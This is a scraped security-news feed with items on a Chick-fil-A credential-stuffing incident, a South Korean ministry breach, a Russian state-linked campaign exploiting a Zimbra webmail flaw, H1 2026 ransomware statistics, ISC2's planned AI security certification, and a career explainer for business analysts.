<span data-contrast="auto">Chick-fil-A confirmed that certain customer accounts were accessed during an automated credential-stuffing attack between June 17 and June 19, 2026. The attackers used account credentials obtained from an external source to gain unauthorized access. The company said affected information may have included customer names, email addresses, membership details, and limited payment-related data. </span><a href="https://thecyberexpress.com/chick-fil-a-data-security-incident/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more...</span></b></a><span data-ccp-props="{}"> </span>
<h3 aria-level="3"><b><span data-contrast="none">South Korea Diplomatic System Breach Lasted Nearly 10 Months</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">South Korea’s Ministry of Foreign Affairs revealed that attackers maintained access to the National Diplomatic Academy’s online education system for almost 10 months. The breach, which began in April 2025, exposed information linked to thousands of current and former ministry employees. Compromised data included user IDs, names, email addresses, and encrypted passwords. </span><a href="https://thecyberexpress.com/national-diplomatic-academy-data-breach-korea/" target="_blank" rel="noopener"><b><span data-contrast="none">Read more..</span></b></a><b><span data-contrast="auto">.</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":0,"335559739":160,"335559740":279}'> </span>
<h2 aria-level="2"><b><span data-contrast="none">Weekly Cybersecurity Takeaway</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h2>
<span data-contrast="auto">The week’s incidents demonstrate how <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="29124">cyber</a> threats continue to evolve across multiple areas, from ransomware and account compromise to online scams and government-related breaches. Attackers are increasingly targeting weaknesses in identity management, user behavior, and digital infrastructure.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Organizations and individuals must focus on proactive security measures, including stronger authentication controls, regular monitoring, timely updates, and greater awareness of <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-social-engineering/" target="_blank" rel="noopener" title="social engineering" data-wpil-keyword-link="linked" data-wpil-monitor-id="29123">social engineering</a> tactics. As cyber threats become more widespread and interconnected, improving resilience remains essential for protecting data, services, and public trust.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
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<title><![CDATA[Why AI Needs a “Genie Coefficient”]]></title>
<description><![CDATA[This essay was written with Barath Raghavan, and originally appeared in The Guardian.
Major benchmarks measure what AI can do. None measure whether it does what you mean: the distance between what you ask an AI to do and the unspoken assumptions about how you want the AI to do it. We propose a ne...]]></description>
<link>https://tsecurity.de/de/3691355/it-security-nachrichten/why-ai-needs-a-genie-coefficient/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691355/it-security-nachrichten/why-ai-needs-a-genie-coefficient/</guid>
<pubDate>Fri, 24 Jul 2026 13:12:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>This essay was written with Barath Raghavan, and originally appeared in <a href="https://spectrum.ieee.org/ai-agent-benchmark">The Guardian</a>.</em></p>
<p>Major benchmarks measure what AI can do. None measure whether it does what you mean: the distance between what you ask an AI to do and the unspoken assumptions about how you want the AI to do it. We propose a new metric: the Genie coefficient.</p>
<p>There’s often a gap between one person’s request and another’s understanding. Most of the time, we bridge it using general knowledge. For example, if you ask a friend to get you coffee, they’ll pour a cup from the pot or buy one from a coffee shop. They won’t bring you a bag of raw beans or snatch a cup from a stranger and hand it to you. You never specified any of this. You never had to...</p>]]></content:encoded>
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<title><![CDATA[What is a business analyst? A key role for business-IT efficiency]]></title>
<description><![CDATA[What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business...]]></description>
<link>https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<h2 class="wp-block-heading">What is a business analyst?</h2>



<p class="wp-block-paragraph">Business analysts (BAs) are responsible for bridging the gap between IT and the business using <a href="https://www.cio.com/article/191313/what-is-data-analytics-analyzing-and-managing-data-for-decisions.html">data analytics</a> to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.</p>



<p class="wp-block-paragraph">BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.</p>



<p class="wp-block-paragraph">The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that <a href="https://www.cio.com/article/191157/what-is-business-analytics-using-data-to-predict-business-outcomes.html">business analysis</a> is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.</p>



<h2 class="wp-block-heading">Impact of AI on business analyst role</h2>



<p class="wp-block-paragraph">As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.</p>



<p class="wp-block-paragraph">AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.</p>



<p class="wp-block-paragraph">Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.</p>



<h2 class="wp-block-heading">Business analyst job description</h2>



<p class="wp-block-paragraph">BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.</p>



<p class="wp-block-paragraph">According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.</p>



<p class="wp-block-paragraph">Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  </p>



<p class="wp-block-paragraph">The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.</p>



<h2 class="wp-block-heading">Business analyst skills</h2>



<p class="wp-block-paragraph">The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.</p>



<p class="wp-block-paragraph">Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.</p>



<p class="wp-block-paragraph"><a href="https://www.iiba.org/career-resources/new-to-business-analysis/" target="_blank" rel="noreferrer noopener">According to the IIBA</a>, some of the most important skills and experience for a business analyst are:</p>



<ul class="wp-block-list">
<li>Oral and written communication skills</li>



<li>Interpersonal, organizational, facilitation, and consultative skills</li>



<li>Analytical thinking and problem solving</li>



<li>Being detail-oriented and able to deliver a high level of accuracy</li>



<li>Knowledge of business structure</li>



<li>Stakeholder and cost-benefit analysis</li>



<li>Processes modeling</li>



<li>Understanding networks, databases, and other technologies</li>
</ul>



<p class="wp-block-paragraph">For a more in-depth look at what it takes to succeed as a business analyst, click <a href="https://www.cio.com/article/189108/essential-traits-of-elite-business-analysts.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst salary</h2>



<p class="wp-block-paragraph">The average annual salary for an IT business analyst is $80,692, according to <a href="https://www.payscale.com/research/US/Job=Business_Analyst%2C_IT/Salary" target="_blank" rel="noreferrer noopener">data from PayScale</a>. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.</p>



<p class="wp-block-paragraph">Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td>Skills</td><td>Salary Boost</td></tr><tr><td>ScrumMaster</td><td>44%</td></tr><tr><td>Microsoft Azure</td><td>30%</td></tr><tr><td>Supply Chain</td><td>27%</td></tr><tr><td>Oracle eBusiness Suite</td><td>25%</td></tr><tr><td>Master Data Management (SAP MDM)</td><td>24%</td></tr><tr><td>SAP Sales and Distribution (SAP SD)</td><td>24%</td></tr><tr><td>Product Support</td><td>18%</td></tr><tr><td>Microsoft Dynamics GP</td><td>18%</td></tr><tr><td>SAP Quality Management (SAP QM)</td><td>18%</td></tr><tr><td>Workday Software</td><td>15%</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph">For tips on boosting your salary, click <a href="https://www.cio.com/article/189510/7-steps-business-analysts-can-take-to-earn-more.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst certifications</h2>



<p class="wp-block-paragraph">Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:</p>



<ul class="wp-block-list">
<li>IIBA <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">Entry Certificate in Business Analysis (ECBA)</a></li>



<li>IIBA Certification of Competency in Business Analysis (CCBA)</li>



<li>IIBA Certified Business Analysis Professional (CBAP)</li>



<li>IIBA Agile Analysis Certification (AAC)</li>



<li>IQBBA Certified Foundation Level Business Analyst (CFLBA)</li>



<li>IREB Certified Professional for Requirements Engineering (CPRE)</li>



<li>PMI Professional in Business Analysis (PBA)</li>



<li>Certified Analytics Professional (CAP)</li>
</ul>



<p class="wp-block-paragraph">For more information about how to earn one of these certifications — and how much they cost — click <a href="https://www.cio.com/article/228834/6-business-analyst-certifications-to-advance-your-analytics-career.html">here</a>.</p>



<h2 class="wp-block-heading">Business analytics tools and software</h2>



<p class="wp-block-paragraph">BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.</p>
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<title><![CDATA[ISC2 seeks input from IT pros for AI security certification]]></title>
<description><![CDATA[ISC2 has begun developing a vendor-neutral AI security certification aimed at cybersecurity professionals working to secure AI systems and manage emerging AI risks.



The nonprofit organization, best known for the CISSP certification, says it is seeking volunteers worldwide to help define the kn...]]></description>
<link>https://tsecurity.de/de/3691227/it-security-nachrichten/isc2-seeks-input-from-it-pros-for-ai-security-certification/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691227/it-security-nachrichten/isc2-seeks-input-from-it-pros-for-ai-security-certification/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph"><a href="https://www.isc2.org/" target="_blank" rel="noreferrer noopener">ISC2</a> has begun developing a <a href="https://www.isc2.org/new-ai-certification#AI%20Security%20Certification%20Frequently%20Asked%20Questions" target="_blank" rel="noreferrer noopener">vendor-neutral AI security certification</a> aimed at cybersecurity professionals working to secure AI systems and manage emerging AI risks.</p>



<p class="wp-block-paragraph">The nonprofit organization, best known for the <a href="https://www.isc2.org/certifications/cissp" target="_blank" rel="noreferrer noopener">CISSP certification</a>, says it is seeking volunteers worldwide to help define the knowledge and <a href="https://www.networkworld.com/article/3566827/global-cybersecurity-talent-gap-widens.html" target="_blank">skills</a> that will shape the new credential. While ISC2 has not finalized the certification domains, the <a href="https://www.prnewswire.com/news-releases/isc2-begins-developing-its-ai-security-certification-and-opens-call-for-volunteers-worldwide-302825622.html?tc=eml_cleartime" target="_blank" rel="noreferrer noopener">certification</a> is expected to address both technical AI security and governance topics, with a pilot exam planned before the end of 2026.</p>



<p class="wp-block-paragraph">According to <a href="https://www.linkedin.com/in/caseymarks/">Casey Marks</a>, ISC2 chief operating officer, feedback from cybersecurity practitioners led ISC2 to conclude that AI security had grown beyond expanding AI content within existing certifications.</p>



<p class="wp-block-paragraph">“AI has reached a tipping point,” Marks says. “AI no longer is just another tool; instead, it has fundamentally changed the cybersecurity practice itself.”</p>



<p class="wp-block-paragraph">ISC2 already includes <a href="https://www.networkworld.com/article/4196919/isc2-ai-raises-accountability-demands-for-cybersecurity-teams.html" target="_blank">AI-related content in certifications</a> including CISSP and <a href="https://www.isc2.org/certifications/CCSP" target="_blank" rel="noreferrer noopener">CCSP</a>, but Marks says practitioners have identified new responsibilities and risks that extend beyond those programs. “Enterprise security teams are currently grappling with significant knowledge gaps, particularly around securing model architectures against new vulnerabilities like prompt injection, data poisoning, and model inversion,” Marks adds.</p>



<p class="wp-block-paragraph">Organizations are working to understand emerging governance frameworks, including the NIST AI Risk Management Framework and ISO/IEC 42001, while adapting traditional application security and security operations workflows to AI systems, he says.</p>



<p class="wp-block-paragraph">ISC2 has not finalized the certification domains, but Marks says the organization expects the credential to address both technical controls and governance practices for <a href="https://www.networkworld.com/article/4174188/ai-reshapes-cybersecurity-workforce-priorities-as-it-teams-brace-for-new-risks.html" target="_blank">securing AI systems and managing AI risk</a>. The certification will use ISC2’s established certification development process, which relies on cybersecurity practitioners to define job roles, develop exam content, and validate competencies.</p>



<p class="wp-block-paragraph">Marks says ISC2 will continue to update the certification through ongoing input from cybersecurity professionals, in addition to its regular certification review process.</p>



<p class="wp-block-paragraph">The organization is also determining which professionals the certification will target. Marks says AI security responsibilities are emerging across security architecture, risk management, security operations, software development security, governance and compliance, communication and network security, and security assessment and testing. ISC2 says the certification will reflect how those roles are evolving.</p>



<p class="wp-block-paragraph">For organizations that are building AI security programs now, Marks recommends using existing AI training resources, adopting established governance frameworks, creating cross-functional AI security working groups, and participating in the certification development process.</p>



<p class="wp-block-paragraph">Marks says ISC2 expects AI knowledge to become part of most cybersecurity roles while a more specialized AI security discipline continues to develop. He says organizations will increasingly need professionals with foundational AI security knowledge, as well as specialists in areas such as adversarial machine learning, model architectures, and AI data pipelines.</p>



<p class="wp-block-paragraph">Looking ahead, Marks says he expects AI security expertise to evolve into both a foundational skill for cybersecurity professionals and a specialized discipline of its own.</p>



<p class="wp-block-paragraph">“At this time, we are seeing a hybrid evolution occurring in real time: AI security is simultaneously becoming a baseline expectation for all security roles, while also carving out a dedicated, highly specialized discipline,” Marks says.</p>
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<title><![CDATA[Linkdump 30/2026]]></title>
<description><![CDATA[Viel Spass bei den von mir als lesenswert empfundenen Links auf Artikel, die ich in der vergangenen Woche gelesen habe.

Many roads lead to Rome, lThe Real Meaning of "The Road Not Taken".

High Performers Are Paradox Managers gives an interesting point of view.

This is a good protocol, respecti...]]></description>
<link>https://tsecurity.de/de/3690853/it-nachrichten/linkdump-302026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690853/it-nachrichten/linkdump-302026/</guid>
<pubDate>Fri, 24 Jul 2026 08:48:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Viel Spass bei den von mir als lesenswert empfundenen Links auf Artikel, die ich in der vergangenen Woche gelesen habe.<br>
<br>
Many roads lead to Rome, l<a href="https://davidepstein.substack.com/p/what-youre-getting-wrong-about-the">The Real Meaning of "The Road Not Taken"</a>.<br>
<br>
<a href="https://knowledge.insead.edu/leadership-organisations/high-performers-are-paradox-managers">High Performers Are Paradox Managers</a> gives an interesting point of view.<br>
<br>
This is a good protocol, respectively a good advice <a href="https://thegoodbusy.substack.com/p/the-british-army-protocol-for-overwhelm">The British Army protocol for overwhelm</a>.<br>]]></content:encoded>
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<title><![CDATA[Russian-Linked Hackers Target Zimbra Users With Zero-Day Exploit]]></title>
<description><![CDATA[A Zimbra phishing campaign attributed to Russian state-supported cyber actors has targeted Western government and commercial organizations, exploiting CVE-2025-66376 to access sensitive email data and other information, according to a joint cybersecurity advisory issued in July 2026.

The activ...]]></description>
<link>https://tsecurity.de/de/3690812/it-security-nachrichten/russian-linked-hackers-target-zimbra-users-with-zero-day-exploit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690812/it-security-nachrichten/russian-linked-hackers-target-zimbra-users-with-zero-day-exploit/</guid>
<pubDate>Fri, 24 Jul 2026 08:25:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/Zimbra-phishing-campaign.gif" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Zimbra phishing campaign" decoding="async" title="Russian-Linked Hackers Target Zimbra Users With Zero-Day Exploit 1"></p>A Zimbra phishing campaign attributed to Russian state-supported cyber actors has targeted Western government and commercial organizations, exploiting CVE-2025-66376 to access sensitive email data and other information, according to a joint cybersecurity advisory issued in July 2026.

The activity has been linked primarily to LAUNDRY BEAR, a Russian state-supported advanced persistent threat (APT) group tracked under several names across the cybersecurity industry. The advisory said the campaign has been active since at least July 2025 and has targeted organizations using the Zimbra Collaboration Suite (ZCS).

Unlike conventional phishing attacks that typically require victims to click a malicious link or open an attachment, the campaign uses a view-based <a class="wpil_keyword_link" href="https://cyble.com/exploit/" target="_blank" rel="noopener" title="exploit" data-wpil-keyword-link="linked" data-wpil-monitor-id="29111">exploit</a>. A user only needs to view a malicious email in a vulnerable version of ZCS webmail for the exploit to attempt execution.
<h3><strong>Zimbra Phishing Campaign Uses CVE-2025-66376</strong></h3>
The campaign centers on CVE-2025-66376, a vulnerability that was initially exploited as a <a href="https://thecyberexpress.com/zero-day-vulnerability-microsoft-sharepoint/" target="_blank" rel="noopener">zero-day vulnerability </a>before a patch was released. According to the <a href="https://www.ic3.gov/CSA/2026/260723.pdf" target="_blank" rel="nofollow noopener">advisory</a>, the activity began in July 2025, months before the vulnerability was published and patched.

The <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29110">vulnerability</a> allows a JavaScript payload contained in email content to execute because of improper sanitization of CSS @import directives within an email. The malicious payload uses Base64 encoding and XOR encryption and can be modified to help bypass basic threat detection signatures.

Once triggered, the payload attempts to collect and exfiltrate information through 12 stages. These include gathering the victim's email address and environment information, collecting two-factor authentication codes and application passwords, attempting to capture saved passwords, enabling mail protocols, gathering the Global Address List (GAL), and sending archived email <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29112">data</a>.

The advisory said the campaign's use of a zero-day exploit demonstrates the ability of LAUNDRY BEAR to operationalize novel <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29108">vulnerabilities</a> into a successful attack capability.
<h3><strong>LAUNDRY BEAR Targets Email and Sensitive Data</strong></h3>
The primary objective of the Russian state-supported <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="29109">cyber</a> actors appears to be the covert acquisition of email data. The campaign attempts to steal the last 90 days of email communications, email addresses, passwords, the organization's Global Address List, 2FA tokens and newly created application passcodes.

The actors have targeted organizations connected to the defense industrial base, government, education, energy, law enforcement, media, non-governmental organizations and technology sectors.

The advisory said LAUNDRY BEAR likely identifies organizations with publicly exposed Zimbra infrastructure through port scanning and commercially available datasets. It may then compile individual user email addresses using commercial data, open-source intelligence or previously exfiltrated information.

The group has also used compromised accounts to distribute <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-phishing/" target="_blank" rel="noopener" title="phishing" data-wpil-keyword-link="linked" data-wpil-monitor-id="29114">phishing</a> emails. Since at least November 2025, malicious emails were reportedly sent from victim infrastructure, potentially using previously compromised accounts to make the activity harder to detect and to bypass anti-phishing measures.
<h3><strong>Ulej and Flowerbed Support Email Data Exfiltration</strong></h3>
The campaign uses a custom capability called Ulej, which was developed to exploit ZCS and exfiltrate sensitive information. The collected data is sent to infrastructure associated with the Flowerbed framework.

Flowerbed is a Python project using Docker and includes four containers: Catcher, Certbot, Nginx and Gardener. Catcher receives and aggregates stolen information, while Nginx operates as an HTTPS reverse proxy. The framework uses DNS and HTTPS channels for <a href="https://thecyberexpress.com/ai-driven-phishing-campaign/" target="_blank" rel="noopener">email data exfiltration</a>.

The advisory said the campaign can exfiltrate email content, contacts, attachments, authentication information and other data. The stolen information is initially stored by Catcher before being transferred to non-public-facing infrastructure.

The report also noted indications that artificial intelligence may have played a role in developing the Flowerbed codebase, highlighting the increasing use of AI in developing malicious capabilities.
<h3><strong>Organizations Urged to Patch Vulnerable Zimbra Systems</strong></h3>
The advisory urged organizations using ZCS to immediately ensure their systems are not running vulnerable versions. A patch for CVE-2025-66376 was released for ZCS versions 10.1.13 and 10.0.18.

If immediate patching is not possible, organizations are advised to have employees use alternative mail clients and avoid the Classic ZCS webmail client until the software is updated.

<a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="Security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29107">Security</a> teams are also advised to monitor internet-connected ZCS systems, workstations accessing those systems and network traffic for signs of suspicious activity. Recommended monitoring includes looking for large outbound data transfers to unfamiliar VPS providers, unusual DNS queries with random subdomains, sudden connections to newly established domains and connections involving <a class="wpil_keyword_link" href="https://thecyberexpress.com/how-to-get-a-vpn/" title="VPN" data-wpil-keyword-link="linked" data-wpil-monitor-id="29113">VPN</a> providers such as Mullvad.

Organizations should also consider authentication services that support passkeys and maintain network monitoring, packet capture or NetFlow data and relevant logs.

The advisory further recommends that organizations identifying victims revoke Application Passcodes and 2FA scratch keys and require affected employees to change their passwords. Security teams should also investigate the original phishing email and quarantine similar messages to prevent further exploitation and data theft.]]></content:encoded>
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<title><![CDATA[One Country Absorbed Nearly Half of the World’s Ransomware Attacks in Just Six Months – The United States]]></title>
<description><![CDATA[Strip away the geopolitics, the hacktivist noise, and the espionage headlines, and one number from the first half of 2026 stands out above everything else: 1,721. That's how many ransomware attacks hit organizations in the United States between January and June, according to new research from Cyb...]]></description>
<link>https://tsecurity.de/de/3690767/it-security-nachrichten/one-country-absorbed-nearly-half-of-the-worlds-ransomware-attacks-in-just-six-months-the-united-states/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690767/it-security-nachrichten/one-country-absorbed-nearly-half-of-the-worlds-ransomware-attacks-in-just-six-months-the-united-states/</guid>
<pubDate>Fri, 24 Jul 2026 07:42:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="800" height="533" src="https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Ransomware Attacks, Qilin, US, Ransomware Attacks on US" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026.webp 800w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026.webp 800w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-750x500.webp 750w" sizes="(max-width: 800px) 100vw, 800px" title="One Country Absorbed Nearly Half of the World's Ransomware Attacks in Just Six Months - The United States 1"></p><p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="3:1-3:473;116-588">Strip away the geopolitics, the hacktivist noise, and the espionage headlines, and one number from the first half of 2026 stands out above everything else: 1,721. That's how many ransomware attacks hit organizations in the United States between January and June, according to new research from <a href="https://cyble.com/resources/research-reports/global-threat-landscape-h1-2026/" target="_blank" rel="noopener">Cyble Research and Intelligence Labs</a> (CRIL). It's not just the highest total of any country tracked in the report — it's more than the next nine most-targeted countries combined.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="5:1-5:375;590-964">Canada, in second place worldwide, recorded 179 attacks. Germany logged 155. The United Kingdom, 138. Add up the rest of the global top 10 — France, Italy, Spain, Thailand, India and Brazil — and the total still falls more than 600 attacks short of the U.S. figure alone. Out of 3,836 <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-ransomware/" target="_blank" rel="noopener" title="ransomware" data-wpil-keyword-link="linked" data-wpil-monitor-id="29106">ransomware</a> attacks CRIL tracked worldwide this half, roughly 45% landed on American soil.</p>

<h5 data-sourcepos="5:1-5:375;590-964">Also read: <a href="https://thecyberexpress.com/fairlife-ransomware-attack/">Fairlife Ransomware Attack Hits Production Systems, U.S. Operations Suspended</a></h5>
<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="7:1-7:39;966-1004"><strong>A Single Region, an Outsized Share</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="9:1-9:434;1006-1439">Widen the lens slightly and the picture holds. North America as a whole recorded 1,981 ransomware attacks in H1 2026 — more than half of every ransomware incident Cyble observed globally — alongside 35 <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29101">data</a> breach and leak incidents and 9 initial access sale listings. The report describes the region as home to "a mature, persistently active RaaS ecosystem operating at high volume across a wide range of industries and geographies."</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="11:1-11:544;1441-1984">Two ransomware-as-a-service operators did much of the damage. Qilin, the single most prolific gang worldwide, claimed 370 of those North American attacks on its own — nearly 19% of the regional total. Akira followed with 268, and INC Ransom added another 164. Together, Qilin and Akira alone accounted for more than half of all recorded ransomware activity across the region, a level of concentration that points to a small number of highly organized affiliate networks doing the bulk of the damage rather than a diffuse swarm of opportunists.</p>

<h5 data-sourcepos="11:1-11:544;1441-1984">Also read: <a href="https://thecyberexpress.com/qilin-ransomware-group-ttps/">Qilin Ransomware Group’s TTPs Examined by Researchers</a></h5>
<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="13:1-13:29;1986-2014"><strong>Where the Pressure Lands</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="15:1-15:705;2016-2720">Professional Services bore the brunt of North American ransomware activity, with INC Ransom showing a marked preference for law firms and other high-value services with sensitive client data. Construction, Manufacturing and Healthcare followed close behind.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="15:1-15:705;2016-2720">One operator, AiLock, stood out for a coordinated wave of victim disclosures that all landed on the same day — March 3 — a pattern consistent with a mass-exploitation campaign rather than isolated intrusions. LockBit, despite years of law enforcement pressure and takedown attempts, kept up a steady tempo against public-sector and educational targets throughout the period, showcasing how difficult the group has been to fully dismantle.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="17:1-17:611;2722-3332">On the <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-a-data-breach/" target="_blank" rel="noopener" title="data breach" data-wpil-keyword-link="linked" data-wpil-monitor-id="29105">data breach</a> side, Technology and financial services (BFSI) were the most frequently targeted sectors in North America, together accounting for roughly 43% of incidents — a reflection of how much intellectual property and monetizable personal data those industries hold.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="17:1-17:611;2722-3332">Notably, Agriculture &amp; Livestock emerged as a significant target for initial access brokers, accounting for a third of all access listings tied to the region. Cyble flags this as a sign of "growing <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risk" data-wpil-keyword-link="linked" data-wpil-monitor-id="29103">risk</a> in the food supply chain," an area that has historically drawn less attention from ransomware operators than finance or healthcare.</p>
